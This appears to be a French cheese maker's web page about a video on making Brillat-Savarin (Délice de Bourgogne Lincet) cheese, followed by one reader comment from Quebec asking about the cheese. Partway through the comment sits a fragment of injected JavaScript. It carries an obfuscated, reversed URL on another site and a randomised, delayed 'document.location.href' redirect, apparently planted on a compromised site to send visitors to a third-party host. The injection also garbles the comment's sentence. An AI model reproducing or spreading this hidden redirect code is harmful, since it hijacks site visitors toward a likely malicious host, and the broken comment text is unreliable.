VIDEO #LINCETSTORY N°9 : Brillat-Savarin et Délice de Bourgogne Lincet, deux fromages d’exception

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Brillat-Savarin et Délice de Bourgogne Lincet, deux fromages d’exception

Le Brillat-Savarin est un fromage enrichi en crème qui bénéficie de l’Indication Géographique Protégée depuis 2017. Sa qualité dépend d’une part du lait, mais également de tout le savoir-faire fromager qui permet d’assurer la qualité constante des produits. Et la fabrication d’un fromage triple-crème, tel que notre Brillat-Savarin (appelé aussi Délice de Bourgogne Lincet), c’est tout un art ! Découvrez en vidéo toutes les étapes de production de ce fromage.


Un commentaire

christian Brunelle dit :

20 juillet 2022 à 15 h 11 min

Bonjour, Je m’intéresse à votre fromage « Délice de Bourgogne » que j’ai gouté et adoré chez un vignoble de la colombie-Britannique au canada. De retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour au Québec, je tente de retrouver ce fromage. Je crois que je ne pourrai trouver que votre Brillat-Savarin. Est-ce pratiquement le même fromage ?

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